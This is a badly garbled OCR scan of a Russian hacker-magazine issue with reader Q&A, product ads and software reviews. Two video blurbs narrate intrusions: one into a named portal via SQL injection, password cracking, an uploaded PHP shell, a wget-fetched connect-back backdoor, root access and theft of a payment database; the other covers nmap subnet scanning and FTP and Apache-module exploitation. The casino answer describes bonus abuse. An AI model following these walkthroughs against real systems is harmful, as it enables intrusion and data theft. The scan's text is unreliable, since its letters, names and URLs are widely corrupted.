РгодОѴВ (ѵѵѵѵѵѵ.ргодсІѵЬ.сот). Трансляция по сети изображения с ОѴВ-ресиверов, 





сделать спутниковую тарелку? Уж больно хочется. 

у— у Можно, но папье-маше здесь не прокатит :). Умельцы предлагают 
следующий способ: 

О. Возьми настоящую антенну нужного диаметра и положи ее задней частью 
вверх. Теперь стрельни у мамы свечку и тонким слоем парафина натри пове- 
рхность тарелки. Особо не усердствуй. 

О. Далее из стальной проволоки на тарелке сложи каркас. Просто складывай 
и переплетай проволоку так, чтобы получилась обычная решетка. Изобретать 
велосипед здесь не стоит. Главное, чтобы арматура равномерно покрывала 
всю площадь тарелки. Причем по краю антенны проволока должна быть нем- 
ного толще, дабы улучшить прочность всей конструкции в целом. 

©.Теперь нужно подготовить материал для изготовления антенны. Наилучшим 
вариантом, судя по советам, является алебастр (строительный гипс). Стоит он 
недорого, а найти его можно в любом магазине строительных материалов. 

О. Нужное количество алебастра надо развести с водой и тщательно разме- 
шать до состояния густой смеси. После этого медлить уже ни в коем случае 
нельзя. Как только смесь готова, сразу же заливай ею тарелку с наложенной 
арматурой. 

©.Толщина слепленной тарелки должна составлять примерно 10 мм, поэто- 
му в нужных местах придется поработать шпателем. После того как все будет 
готово, оставь конструкцию сохнуть на 3-4 часа. А после просушки придется 
кропотливо поелозить кисточкой, так как гладкую поверхность следует тща- 
тельно прокрасить краской. 



«□ІЮ Зксперт» - 

ВСЁ о ТЁННИКЁ для 

Д0МНШН6Г0 КИН0Т6РІТРН 




В ПРОДАЖЕ С 8 ДЕКАБРЯ 

В КАЖДОМ НОМЕРЕ: 



Ф Что такое Р88? 

Если чересчур не абстрагироваться и говорить о реальном приме- 
нении, то Р88 (РеаІІу 8ітрІе 8упсІісаІіоп) представляет собой популяр- 
ный формат для экспорта новостных лент. Экспортируемые данные хранятся в 
специальном файле, который постоянно обновляется и доступен для скачива- 
ния. С точки зрения юзера, такая система имеет ряд преимуществ по сравне- 
нию с обычным веб-серфингом. Сам посуди. В случае использования Р88 в 
погоне за свежими новостями тебе не придется самостоятельно шататься по 
всем необходимым сайтам, которые мало того что не оптимизированы, так 
еще и нагружены до упора рекламой, всплывающими окнами и прочими изли- 
шествами и норовят сожрать десяток-другой мегов трафика. Тебе достаточно 
будет скормить В88-файл специальной программе, которая обработает его и 
представит хранящуюся в нем информацию в подобающем виде. Мечта идио- 
та, честное слово. 

Необходимых для импорта утилит, так называемых В88-ридеров, нынче разве- 
лось довольно много. Лично я отдаю предпочтение бесплатному продукту 
КІірРоІіо (ѵѵш.$егепсе.соі]і/$іІе.рІір?асШп=$ег_ргосІис1$,рго(І_к1ір[оІіо), разработчики ко- 
торого очень грамотно подошли к реализации всех необходимых функций. Од- 
нако существует еще целый ряд вполне приличных приложений, в том числе 
встроенных в некоторые браузеры. Наличием собственного Р88-клиента, к 
примеру, может похвастаться Орега версии 7.50 и выше. 

В поисках интересных новостных лент с поддержкой В88 нелишним будет изу- 
чить ассортимент каталогов В88-каналов. Наиболее известным и полным рос- 
сийским представителем таковых является ѵѵѵѵѵѵ.капЬап.ги. Что же касается тех- 
нической стороны вопроса, то здесь тебе в помощь полная спецификация 
ХМІ-ЬазесІ формата В88 2.0, дополненная массой примеров (Ііир://Ыод$.Іаѵѵ.[іаг- 




САМЫЙ ПОЛНЫЙ ОХВАТ НОВИНОК РЫНКА 

100 ТЕСТОВ ЛУЧШИХ МОДЕЛЕЙ АѴ-ТЕХНИКИ 

СОВЕТЫ ПРОФЕССИОНАЛОВ 

РЕКОМЕНДАЦИИ ПО УСТАНОВКЕ И 
НАСТРОЙКЕ ДОМАШНЕГО КИНОТЕАТРА 

ПОШАГОВЫЕ ИНСТРУКЦИИ ДЛЯ НОВИЧКОВ 




НА ОѴО-ПРИЛОЖЕНИИ - 
КУЛЬТОВЫЙ ФИЛЬМ 
БРАТЬЕВ КОЭНОВ 



«подручный 

ХАДСАКЕРА» 






А можно ли на КПК поставить Ііпих? 



Ааа! Помоги! По пьяни на своем цифровике нечаянно форматнул 
флеш-карту, на которой были фотографии с отцовского юбилея. Как 
мне их можно восстановить, а? Очень надо. 



Ну а почему бы, собственно, и нет? Если ядро Ііпих поддерживает 
твой наладонник и в нем присутствуют все необходимые модули, то 
проблем возникнуть не должно. Так, без проблем поддерживается некоторые 
модели ІРАО, ТозЫЬа, Рзіоп и целого ряда других производителей. Умельцы 
даже ставили пингвина на древние Раіт'ы. Что уж говорить о ЗІпагр'е, кото- 
рый уже довольно давно выпускает целую линейку КПК с предустановленным 
Линуксом. Как тебе, нравится? Тогда за подробными инструкциями отправляю 
тебя к гикам - шѵѵ.[1ап(IІ1еI(I$.огд/[1ап(IІ1еIсI$Та^/[1апсIІ1еIсI$Та^.[1ІтI, Шр://[атіІіаг.ІіапсІ- 
ІіеІ(І$.огд/, ѵѵш.ііпихрсіа.огд. 



С подобной ситуацией, пожалуй, сталкивался любой владелец 
цифры. Так что ты особо не расстраивайся - не один ты такой. 
Проблема вполне решаема при помощи специальной утилиты Ріпоіогесоѵегу 
(ѵѵѵѵѵѵ.іс-іесіі.сот). Что она делает? Именно то, что тебе нужно: прога 
восстанавливает удаленные графические и мультимедиафайлы на переносных 
носителях. Два клика - и все готово! Поддерживается работа со следующими 
носителями: Метогу 81іскз, ЗтагІМесІіа, СотрасІРІазІп I и II, Місго Огіѵез, 
80/Х0 Сагбз, МиШтесІіа СЫрз. 



Ф 

Ф 



Инет сейчас буквально кишит объявлениями о продаже схем и 
приемов беспроигрышной игры в интернет-казино. Что-то не похоже 
на правду, как считаете? 



Конечно, никто не спорит, потенциальная возможность наличия та- 
ких схем существует всегда. И возможности намного более реальны, 
чем это может показаться на первый взгляд. В стремлении привлечь новую 
клиентуру владельцы казино постоянно пытаются изобрести что-то новенькое 
и как можно быстрее, зачастую впопыхах, реализовать гениальную изюминку 
на своих виртуальных площадках. Разумеется, без накладок здесь не обходит- 
ся: то в скриптах найдется ошибка, то изобретательные посетители выудят ла- 
зейку в несовершенных правилах. Большинство таких ляпов выявляются на 
этапе тестирования, когда их появление легко отследить и блокировать, но 
бывает и так, что это происходит значительно позже. Делай выводы сам. 
Нередко поднять денег можно и на различных бонусах, выдаваемых разово 
каждому новому посетителю. Так, многие казино при первом переводе денег 
зачисляют на внутренний счет посетителя сумму, составляющую определен- 
ный процент от трансферта. К примеру, если бонус составляет 50%, то, зап- 
латив $100, посетитель сможет играть на все $150. Надбавку эту, ясное дело, 
сразу же снять нельзя. Ее нужно хоть раз пустить в оборот. Но в этом -то и 
фишка. Можно играть только на бонус, а свои кровные денежки оставлять нет- 
ронутыми. Если что-то выиграешь (а новичкам, как известно, везет) - забира- 
ешь выигрыш и свои кровные. Если нет - забираешь только то, что вложил, и 
отправляешься в другое казино с похожей фишкой. 

Подобные оплошности в системах казино, естественно, прикрывают. Как мне 
кажется, едва ли кто-то будет продавать рабочий и актуальный рецепт. Так что 
забудь обо всех этих схемах и займись чем-нибудь более серьезным. Изуче- 
нием С++, например. Ну или Камасугры. 



Ф 

Ф 



Спам заколебал! Сил моих больше нет. Бесит больше всего то, что во 
время регистрации в любом, даже самом паршивом сервисе нужно 
вводить свой е-таіі. То, что после этого происходит, в объяснении не 
нуждается. Ящики уже переполняются от спама. Быть может, есть 
какие-нибудь новые способы обмануть спамеров? 



Весьма оригинальное решение предлагает сервис «СпамГурман» 
(ѵѵш.$рапдоигпеі.сот), позволяющий завести себе одноразовые е-таіі- 
форварды. Все, что от тебя требуется, - зайти на сайт и зарегистрировать ад- 
рес типа патеі .М.пате2@зратдоигтеІсот, где N - максимально возможное 
количество перенаправленных писем (потом алиас просто-напросто удаляет- 
ся), а патеі и пате2 - произвольные наборы цифр и букв. Достаточно указать 
в настройках такого аккаунта свой настоящий е-таіІ - и дело в шляпе. Теперь, 
если во время регистрации на каком-нибудь форуме, чате, МРЗ-архиве ты не 
захочешь оставлять свой настоящий е-таіІ, то смело вписывай в графу «е-таіІ» 
созданный алиас. И письмо нужное получишь, и в спам-лист не попадешь. 



Ф 

Ф 



Говорят, что у каждого номера ІСО есть так называемые алиасы. То 
есть некие зеркала, которые на самом деле ссылаются на 
существующую аську. 



Ты, коллега, отстал от жизни. Фишка эта на самом деле довольно 
старая и предельно простая. Суть ее заключается в том, что к любому 
ІСО иіп'у можно прибавить число 4294967296 и получить таким образом его 
клон. Показываю на примере. Предположим, что ты являешься счастливым 
обладателем элитного шестизнака 123456. Тогда, прибавляя к нему число 
4294967296, ты получишь 4295090752. Это и есть клон! Повторяя это нехит- 
рое действие, можно сгенерировать еще с десяток клонов. В помощь особо 
ленивым энтузиасты даже написали специальную прогу - РакеІЛМ 
(ііНр://аааЫ)Із.п[ті.ги/РакеШп.гаг). Если на математику ты положил еще во втором 
классе, то тебе сам Бог велел ею воспользоваться. 



Ф 

Ф 



Вы постоянно уделяете внимание РгееВ80: рассказываете о нюансах 
установки и настройки. Но ведь это же не единственная ось в семей- 
стве *В80. Наверняка имеется чуть ли не десяток различных В80- 
дистрибугивов. Или я не прав? 



Открытый код РгееВ80, несомненно, способствовал появлению 
родственных ОС. Но я бы не сказал, что они присутствуют в таком же 
изобилии, как линуксы. Я бы помимо этого выделил еще два наиболее расп- 
ространенных дистрибутива. 

МеШ80 - этот дистрибутив можно назвать ближайшим родственником 
РгееВ80, так как оба они являются логическим продолжением некогда попу- 
лярного 386В80. Первая версия, МеШ80 0.8, вышла сравнительно недавно, в 
1 993 году, и практически сразу завоевала популярность, во многом благода- 
ря своей мультиплатформенности. Ее можно было поставить куда угодно: на 
Арріе, КПКашник, игровую консоль, не говоря уже о домашних компьютерах и 
ноутбуках. Возможно, ты заметил, что последние версии ѴѴіпсІоѵѵз могут за- 
пускать любое приложение, эмулируя при этом работу ОС более ранней вер- 
сии. Так вот, в МеШ80 имеется примерно то же самое: ты можешь откомпи- 
лировать программу в любой другой ІІпіх-ЬазесІ системе, но она все равно бу- 
дет работать в МеШ80. Приставка «пеі» также не случайна - оптимизация се- 
тевых протоколов и различных технологий играют в дистрибутиве далеко не 
последнюю роль. 

ОрепВ80. Первым релизом этой ОС занимался один из разработчиков 
МеШ80. Поэтому нет ничего удивительного в том, что оба дистрибутива име- 
ют массу общего. Конек ОрепВ80 - безопасность. Эта ось изначально разра- 
батывалась как невероятно надежная система, поэтому в ней активно исполь- 
зуются надежные криптографические алгоритмы, системы аудита, а также 
жесткие правила файрвола, который по умолчанию блокирует все порты. Из- 
вестный 88Н-сервер Ореп88Н, используемый ныне практически во всех *піх- 
дистрибутивах, - детище разработчиков ОрепВ80. 
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Истинно русские пароли 



овипЕО: взпои вт.вв 

От нечего делать хакер заморачивается вопросом: «Какой бы 
сервер проверить на безопасность?». Виртуальный брат по ра- 
зуму предлагает взломать портал ѴѴѴѴѴѴ.ГІП.ГІІ. Уже через несколь- 
ко минут взломщик натыкается на 501-инжекцию, однако не мо- 
жет вывести содержимое БД на экран. Исследуя скрипты каждо- 
го виртуального домена, киберпреступник находит-таки бажный 
сценарий. Он позволяет просматривать любой файл на сервере, 
но, к сожалению, не умеет выводить содержимое каталогов. С 
помощью логики наш герой умудряется прочитать конфиг от 
ШрсІ, в котором находятся пути к .МраззѵѵсІ-Ііке-файлам. 



Взлом бажного тоо рпр 



кий скарженный шелл и запускаем с параметрами -1 2 зегѵег.пате 
/раІПДо/рПр/зсгірІ. Рабочий РНР-сценарий находится через Гугл 
путем поискового запроса «^іІе1уре:рПр іпигІ:зегѵег.пате». Хакерс- 
кий бинарник отвечает, что версия действительно старая, а нам 
остается лишь ждать результата. 

Через 45 минут эксплойт запускает долгожданный /Ьіп/зП. Ра- 
зумеется, что права поЬосІу никого не обрадуют, но с помощью 
ядерного эксплойта их можно опустить до нулевого уида :). По ка- 
кой-то неведомой причине эксплойт не захотел компилироваться 
на взломанной машине. Пришлось собирать его на стороннем 
шелле и транспортировать на сервер-жертву. 

Таким образом, одной заруганной машиной стало больше. И 
все благодаря нововведению в сканере птар. С помощью опции 
-зѴ вполне реально заставить птар сканировать большую сеть, а 
затем разгребать логи и искать бажные сервисы. 





Ищем .МраззѵѵсІ 



Расшифровка паролей проводилась с помощью программы 
^о^^п ТПе Віррег. Только русский словарь позволил подобрать 10 
паролей. Теперь, исследуя административные зоны, хакер 
приступил к поиску заветного аплоад-скрипта. Такой сценарий 
нашелся быстро, мало того, он был доступен всем, но почему- 
то не работал. Только с помощью изучения исходного кода 
взломщик понял, что скрипту нужно передать добавочный пара- 
метр, который почему-то не был прописан в НТМІ. Залив РНР- 
шелл, злоумышленник узнал его местонахождение через адми- 
нистративную зону и незамедлительно обратился к нему. Но из- 
за выключенной опции гедізІег дІоЬаІз хакерский сценарий от- 
казался принимать параметры. Переделав стб.рПр, взломщик 
сумел выполнить первую команду ісі. Затем он узнал, что ядро 
можно эксплойтнуть. С помощью ѵѵдеі хакер заливает соппЬаск- 
Ьаскбоог и успешно обходит встроенный брандмауэр. Получая 
рута, взломщик узнает логин и пароль к базе данных и вытяги- 
вает самую козырную БД сазЫег, которая относится к коммер- 
ческому сервису са$І1.ГІП.ги. Ознакомившись с таблицами, хакер 
заметает следы и удаляет все добытое добро со своего компь- 
ютера. 

Этот нехитрый взлом ты можешь посмотреть в увлекатель- 
ном видео по взлому, который мы выложили на СО/ОѴО. Не за- 
будь также прочитать статью в рубрике «Взлом», относящуюся 
к этому видео, - она поможет многое прояснить. 



О СОФТ 

о. Судѵѵіп. Что будет делать хакер, если под руками у него 
вдруг не окажется *піх-шелла, а сервак нужно быстро поругать 
гетоіе-ехріоіі'ом? Тут на помощь ему придет софтина судѵѵіп. Как 
сказал когда-то Форб, это версия ІІМІХ, написанная под ѴѴіпсІоѵѵз. 
В судѵѵіп'е реализована возможность мультиплатформенного 
программирования, то есть он позволяет компилировать в 
ехе'шники программы, написанные под никсы (не забывай, что 
сплойты тоже являются программами). Сам понимаешь, что их 
можно будет запускать на любой виндовой тачке! 

ѳ. 81ах 4.2.0 РІІ. Русифицированная версия самозагружа- 
емого СО с установленной операционной системой Ііпих. Работа- 
ет прямо с диска и не требует установки на твой винчестер. Базо- 
вый дистрибутив включает в себя ядро 2.4.28 с поддержкой 5АТА, 
Х.Огд 6.8.1 , КОЕ 3.3.1 , КО№се 1 .33 и возможность использования 
виндовых драйверов для беспроводных карт под Ііпих - псіізѵѵгар- 
рег 0.1 . А в русской версии добавлено очень много вкусностей: 
арасііе 1 .3.31 , ріір 4.3.7, дітр 2.17, ріпе, ргоііііа и многие другие 
тулзы. Есть и несколько игр: зирегіих, Іихгасег, ^огепЬиЬЫе, 
дписііезз и пр. 

©. ЗОМагкОб. Новый бенчмарк от корпорации РиШгетагк. 
Мощнейший тест не только очень точно оценит все параметры 
твоего железного коня, но и поможет прикинуть, как заработает 
компьютер после определенного апг- 
рейда (интеллектуальный ре- 
жим). Также можно закачать 
свои данные на сайт и срав- 
нить с результатами других 
пользователей. 



ВИОЕО: 

МИОР 



РРБОТП со СКОНЕРОИ 



Поздравляю! Ты уже научился устанавливать птар и использо- 
вать его в качестве сканера баннеров различных сервисов. Теперь 
самое время приступить к практике и взломать какой-нибудь сер- 
вер. 

Перво-наперво ищем сегмент, в котором располагается мно- 
го живых компьютеров (чем больше, тем лучше). Запускаем птар 
-о ііозіз.іод -зѴ -р21 ,80,1 10 пЬеІтазк/24 и терпеливо дожидаем- 
ся результатов сканирования. Зорким глазом замечаем неза- 
файрволенный сервер печати. Коннекгимся на 21 порт и видим, 
что анонимный вход также разрешен. Какой хороший расклад :). 
Никто не запрещает тебе позабавиться и отправить на печать ка- 
кую-нибудь лабуду. Например, файлик /еіс/зііеііз. 



Первая жертва сканирования - незащищенный принтсервер 



Помимо принтсервера, птар нашел какой-то ѵѵеЬ-сервер со 
старым ѵѵи-Йрб и №рс1. Используя новый эксплойт к ѵѵи-Йрб- 
2.6.1 , пытаемся взломать жертву, но, увы, попытка не увенчалась 
успехом (пользователь Йр не имеет права записи в каталоги). 
Один из апачевых модулей (тосІ_ріір 4.0.6) уязвим и может 
эксплуатироваться старым добрым эксплойтом 735Шип. Проби- 
ваем по Гуглу местонахождение бинарника, сливаем его на дале- 
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УІ/ІПСІ0ѴѴ5 9х/Ме/НТ/2к/ХР 

ЗІіагеиаге 

Зіге: 3504 Кб 



т.ЬаЬуІоп.сош 

И нтегрировать электронный словарь в 
операционную систему пытались мно- 
гие. Но разработчики ВаЬуІоп’а уделали всех. 
Им удалось написать прогу, которая при на- 
жатии на горячую клавишу выдает перевод 
любого слова, над которым остановился кур- 
сор. А если у тебя продвинутая мышь, то да- 
же клаву топтать не обязательно - вешаешь 
функцию перевода на среднюю кнопку хвос- 
татого/бесхвостого грызуна и начинаешь по- 
лучать удовольствие. Фишка в том, что прог- 
рамма ВаЬуІоп обладает встроенной систе- 
мой распознавания символов, способной 
прочитать практически любое слово на экра- 
не. Ты понимаешь, что это значит? Это зна- 
чит, что ты больше не привязан к какому-то 
конкретному приложению! Не важно, где те- 
бе встретилось непонятное слово - в Ворде, в 
Опере, в окне сообщения об ошибке - один 
клик, и ты получаешь его перевод. 
Словарные статьи ВаЬуІоп может таскать из 
инета, но исключительно в онлайновом режи- 
ме эту прогу юзают только придурки, неспо- 
собные скачать с сайта софтины файл необ- 
ходимого им словаря. Кстати, помимо допол- 
нительных словарей, к ВаЬуІоп’у можно подк- 
лючить еще и синтезатор речи. 

На данный момент к программе выложены 
словари 13 языков, причем, я думаю, по 
скриншоту нетрудно догадаться, что самые 
актуальные для нашего человека направле- 
ния Епдіізіп-Виззіап и Виззіап-Епдіізіп реали- 
зуются без проблем. 



РПСЕРІІТЕК зтиоіо 8РНЕКЕХР V 0.79 ^ 



УІ/іпбо№8 9х/Ме/НТ/2к/ХР 

ЗІіагеѵѵаге 

Зіге: 10966 Кб 



шілі.геаііизіоп.соіп 

Н овогодние праздники трудно себе представить без 
елки, снега и поздравительных открыток. С елкой и 
снегом, думаю, проблем у тебя не будет, а вот по пово- 
ду поздравительных открыток я могу дать тебе один хо- 
роший совет: если у тебя есть цифровой фотоаппарат 
или хотя бы сканер, то совершенно уникальные открыт- 
ки, календари и плакаты ты можешь без труда клепать 
в программе РасеРіІІег ЗШсІіо. 

РасеРіІІег ВШсІіо - это более продвинутая версия специ- 
ализированного графического редактора РасеРіІІег, о 
котором я рассказывал тебе в феврале. Софт удиви- 
тельный, предназначенный для виртуального макияжа и 
виртуальной же косметической хирургии. С помощью 
РасеРіІІег Зіисііо ты можешь легко превращать серьез- 
ные лица в улыбчивые, а некрасивые - в привлекатель- 
ные. В прогу даже встроено 24 готовых варианта повы- 
шения привлекательности (глаза побольше, нос по- 
меньше, морда поуже, улыбка посильней и т.п.). Но это 
все ерунда! Под Новый год лично меня интересуют сов- 
сем другие возможности программы, а именно функция 
ручной карикатуризации портрета вкупе с 27 шаблон- 
ными издевательствами. 

Работать с РасеРіІІег Зіисііо - одно удовольствие. Загру- 
жаешь фотографию, под руководством терпеливого 
мастера указываешь точками расположение глаз, бро- 
вей и рта, после чего можешь делать с лицом на фотке 
все, что хочешь. Пара кликов, и человек мигом стано- 
вится похожим на быка, лису или, допустим, превраща- 
ется в злобного подмигивающего садиста. Когда кар- 
тинка на экране начнет радовать глаз, выводи ее на пе- 
чать и дари с наилучшими пожеланиями. Можешь быть 
уверен, твоя открытка наверняка станет самым ярким 
новогодним событием в жизни каждого, кому посчаст- 
ливится ее получить :). 




ѴѴіпб0№8 2к/ХР 
Ргееіліаге 



$іге: 1240 Кб 



т.Ііатаг.8к/8рІіеге 

9 вы, мечта о трехмерном интерфейсе по- 
прежнему остается лишь мечтой. Больши- 
нство перспективных проектов (ЗОТор, ѴѴіпЗО, 
РоотзЗО) так и не были доведены до ума. Нет, 
конечно, где-то ведутся закрытые исследова- 
ния и разработки, но с точки зрения обычного 
юзера все направление пребывает в коматоз- 
ном состоянии. Проект ЗрІпегеХР - единствен- 
ное приятное исключение. Новые версии этой 
программы выходят одна за другой. Причем 
все работы ведутся в правильном направлении 
- ЗрІпегеХР становится все более простой и 
приятной в использовании. Например, послед- 
нее добавление - интерактивная карта, пове- 
шенная на клавишу ТаЬ, - позволяет сильно уп- 
ростить переключение между открытыми окна- 
ми. А, скажем, основные принципы навигации 
в мире Сферы теперь объясняются прямо в ок- 
не настройки. 

Для тех, кто этот прототип интерфейса буду- 
щего еще ни разу не юзал, стоит пояснить, что 
после запуска ЗрІпегеХР юзер попадает в центр 
виртуальной сферы, внутри которой плавают 
окна работающих приложений и иконки быст- 
рого запуска программ. По иконкам можно 
кликать, а к окнам не только приближать- 
ся/удаляться, но и перетаскивать их с места на 
место. Именно в замкнутости и оригинальной 
концепции виртуального пространства заклю- 
чается главная фишка проекта. И на мой 
взгляд, это очень правильная фишка, посколь- 
ку из центра сферы юзер свободно может до- 
тянуться до любого объекта, а потому беско- 
нечные бессмысленные перелеты от окна к ок- 
ну в этом прототипе 30-интерфейса сведены к 
минимуму. Хотя скидку на то, что это всего 
лишь прототип, при работе с программой все 
равно делать придется. 






РШТИ0ТІ0И106ІИП1.1 



вописания просто-напросто не подозревают о суще- 
ствовании русского языка. Впрочем, поначалу 
АиІоЗреІІ СошрІеІеСІпеск наш великий и могучий 
также в упор не видит, однако это дело можно легко 
исправить - нужно лишь позаимствовать недостаю- 
щие файлы из стандартной системы проверки ор- 
фографии МІСГ050Й ОіТісе. Подробная инструкция 
звучит так: запускаешь программу, открываешь 
АиІоВреІІ Сопігоі РапеІ, в списке продуктов сначала 
кликаешь по «СотрІеІеСІпеск», а затем по «Вейіпдз». 
Появляется диалоговое окно, в котором ты должен 
будешь добавить язык (Риззіап (Риззіа)) и вписать 
правильные файлы в поля Епдіпе Огіѵег Іосаііоп, 
Епдіпе Іосаііоп и Оісііопагу Іосаііоп. Один из воз- 
можных вариантов выглядит следующим образом: в 
поле Епдіпе Огіѵег Іосаііоп прописывается файл 
тз97с1.с111 (С:\Ргодгат РіІез\АиІозреІІ60\соттоп 
ЯІез), в Епдіпе Іосаііоп указывается файл тзрги32.с111 
(С:\Ргодгат РіІез\Соттоп РіІез\Місгозо^І 
8ІіагесІ\Ргоо!), а в Оісііопагу Іосаііоп делаешь ссыл- 
ку на Мздг ги.Іех, лежащий в той же директории. 
После этого следует щелкнуть по «Ок», вернуться в 
исходное меню, выбрать русский язык и сделать его 
используемым по умолчанию. Все! После переза- 
пуска проги во всех твоих любимых программах по- 
явится полноценная проверка правописания. 
Примечание: я пользуюсь МісгозоЙ ОШсе ХР. Впол- 
не возможно, что настройка АиІоВреІІ под другими 
версиями Офиса будет выглядеть немного иначе. 



1Л/іпсІоі«8 2к/ХР 



Ргееіліаге 



8іге: 2263 Кб 
тігопітоііоп.соіп 



ѴѴіп(]0№5 9х/Ме/НТ/2к/ХР 
ЗІіагеѵѵаге 
8іге:3315Кб 
т.зреіісііескег.соіп 




Н овая версия универсальной системы проверки 
орфографии. После ее установки на машину 
слова, набранные с ошибками и опечатками, будут 
подчеркиваться красной линией не только в ѴѴогб’е, 
но и во всех других приложениях ѴѴіпбоѵѵз! Причем, 
как и в ѴѴогб’е, клик по криво набранному слову бу- 
дет вызывать появление небольшого списка воз- 
можных вариантов правильного написания. Круто, 
согласен. Если хочешь отлавливать баги, скажем, в 
ІРС- или ІСО-сообщениях, то лучше АиІоЗреІІ 
Сот рІеІеСПеск тебе ничего не найти. Точнее, конку- 
ренты у этой проги вообще отсутствуют, поскольку 
другие серьезные системы фоновой проверки пра- 
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діе ОѴО РІауег, по утверждению авторов прог- 
раммы, - первый в мире ореп-зоигсе приложе- 
ний ОѴО-плеер с поддержкой меню. Весь его скром- 
ный дизайн ориентирован на то, чтобы максимально 
упростить пользователю навигацию по ОѴО. Управле- 
ние меню осуществляется с помощью клавиатуры 



ОѴО изображение, либо через собственные кнопки 
Одіе), а внешне выглядит ровно так же, как при рабо- 
те с железными ОѴО-плеерами. Обращаться сразу 
можно не только к корневому меню, но и к другим 
стандартным для многих ОѴО: главы (сіпаріегз), углы 
(апдіез), аудио, субтитры, заголовки (ШІез). Кроме то- 
го, изменение этих параметров возможно и сред- 
ствами ОдІе, без нужды в обращении к самому ОѴО- 
меню. Из остальных опций присутствуют базовые 
операции вроде паузы/остановки, ускоренного/за- 
медленного проигрывания, перемотки. Программа 
при необходимости читает непримонтированные 
ОѴО- или ѴОВ-файлы, скопированные на жесткий 
диск. Для работы с зашифрованными и обычными 
ОѴО используются библиотеки ІіЬбѵсІгеасІ/ІіЬсІѵсІсзз. 
Обеспечена поддержка воспроизведения на дисплей 
ХРгееВб Хѵібео (в том числе, и в полноэкранном ре- 
жиме) в форматах АСЗ, 0Т8, МРЕО, ІРСМ. Стоит от- 
метить и некоторые неудобства Одіе: например, от- 
сутствие режима караоке и потребность в перезапус- 
ке программы для работы с другим ОѴО. 

* Графический интерфейс к программе на базе СТК+ идет 
отдельным пакетом (одіе диі) объемом в 387 Кб. 



З х, как классно в фантастических фильмах 
выглядит процесс загрузки компьютера и 
вход в операционную систему. И как примитивно 
на этом фоне выглядит наша с тобой, брат (ты 
бы еще братком или корешком его назвал. - 
Прим. Бублика), обычная винда. Нет, мы, само 
собой, делаем, что можем: перешиваем загру- 
зочную картинку, изменяем окно входа, но как 
вспомнишь полупрозрачные выезжающие пане- 
ли, видеоприглашения и 30-эффекты компьюте- 
ров из кино, сразу понимаешь, что мы просто 
перекрашиваем то, что нужно взять и полностью 
переделать. Кстати, именно этим уже много ме- 
сяцев и занимаются создатели программы 
РгопШоІіоп Іодіп. Напомню, что их разработка 
перекоммугирует окошки таким образом, чтобы 
окно входа в систему (выбора пользователя) и 
заставку «завершение работы» можно было де- 
лать с применением технологии Масготебіа 
РІазЫ А о том, какие офигительные эффекты 
можно замутить на флеше, я думаю, ты догады- 
ваешься. 

И это действительно работает! После включения 
компьютера на экран вылетает крутая анимиро- 
ванная заставка - не хуже тех, что показывают в 
кино. А на панели управления появляется новый 
апплет, с помощью которого эту заставку можно 
сменить. Несколько готовых заставок идет в 
комплекте, дополнительные можно скачать с 
сайта разработчика. К примеру, сейчас у меня 
ѴѴіпбоѵѵз загружается под видом Мас08. Впро- 
чем, учитывая, что РгопШоІіоп Іодіп - это проект 
с открытыми исходниками, скорее стоит удив- 
ляться тому, почему моя машина до сих пор не 
имитирует процесс загрузки какой-нибудь 
Хакер08. Видать, нет среди читателей нашего 
журнала хороших Яазіт-программистов :). 








Оѵіеѵѵ - основанный на 
11 6ТК+ многофункцио- 
нальный просмотрщик изоб- 
ражений. Интерфейс прост, 
интуитивно понятен и пол- 
ностью настраиваем. Для 
изображений перед просмот- 
ром могут создаваться и, по 
усмотрению, кэшироваться 
(для быстрой работы при об- 
ращении в дальнейшем) 
иконки с заданным объемом 
и качеством. Причем если бу- 
дут найдены .хѵрісз от 61 МР, 
то берутся именно они. 
ООѵіеѵѵ умеет масштабиро- 
вать (коэффициент для уве- 
личения/уменьшения изменяется в настройках), в том числе, и по размеру теку- 
щего окна приложения, а для последующих картинок можно использовать пос- 
ледний заданный масштаб, что бывает удобно при просмотре большого числа 
однотипных изображений в их неоригинальных размерах. Естественно, есть и 
полноэкранный режим с возможностью слайд-шоу (паузы и тип выборки карти- 
нок тоже устанавливаются по желанию). Конфигурировать разрешают даже 
фильтры для файловых списков, создаваемых при открытии каталогов. Но этим 
работа с файлами не ограничивается: присутствует свой скромный менеджер с 
поддержкой бгад’п’сігор, позволяющий копировать, перемещать, переименовы- 
вать, удалять и даже сортировать картинки. Можно создавать коллекции из гра- 
фических файлов, а также искать повторяющиеся изображения в заданных ката- 
логах по содержимому самих картинок. Представлены базовые преобразования 
в виде поворотов на 90/180 градусов и зеркального отражения, поддерживается 
вызов внешних программ (ехі^ - для вывода подробностей об изображении, 
6ІМР и другие - для редактирования). Многие операции осуществляются и с 
помощью горячих клавиш. 

О — 
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[іпих, РгееВЗО, Мае 0$ X, 1Л/іпсІоѵѵ8 



8іге(в.дг):3519 Кб 
ац(]асіРу.$оигсеРогде.пеР 
Лицензия: бНУбРІ 




Р ибасііу - популярный и 
мощный аудиоредактор, 
основанный на ѵѵхѴѴісІдеІз 2.4. 
Поддерживает файловые 
форматы Ш/, АІРР, АІІ, Одд 
ѴогЬіз, МРЗ и даже МЮІ, 
АІІедго. Содержимое аудио- 
файлов отображается с воз- 
можностью точности выделе- 
ния вплоть до 0,000001 се- 
кунды (ручное редактирова- 
ние сигналов по точкам про- 
изводится с точностью до 
“0,00002 с). Формат времени 
может быть задан не только 
секундами/минутами/часами, но и количеством кадров (РА1/МТ8С) при разных 
^рз или по привязке к сэмплам. В случае необходимости частотного анализа ри- 
суется график спектра с заданными параметрами и функцией экспорта в обыч- 
ный .М. Любые проводимые изменения могут отменяться до бесконечности, а 
все совершенные действия фиксируются в журнале с указанием объема каждо- 
го из них. Широко представлены разнообразные эффекты, среди которых: уп- 
равление шумом, басом, высотой тона, скоростью и темпом, нормализация, эк- 
валайзер, инвертирование, компрессия, плавное затухание, эхо и ѴѴаІтѴѴаІт. Пе- 
ред тем как применить любой из эффектов, можно прослушать получаемый ре- 
зультат. Поддерживается создание и последующее удаление нескольких доро- 
жек (моно- и стереофонических, временных, для заметок), их выравнивание, 
сведение, экспортирование в несколько файлов. Для МРЗ возможна работа с 
ЮЗ-тегами. Аибасііу работает и с модулями (для Ііпих - 1А08РА). Комбинации 
Ітоікеуз на клавиатуре можно изменять и сохранять в файл, а вот использование 
мышки самостоятельно не контролируется. 





Тесты 

Карманные компьютеры Роске( РС 

Недорогие видеокарты предыдущего поколения 

ВІиеЬоиі-адаптеры для РС 

Карты памяти СР/30 

Материнские платы Боскеі 478 

Переносные винчестеры 

Инфо 

Мелочи железа 
Эволюция видеокарт 
Технология струйной фотопечати 
ГАО 

Практика 

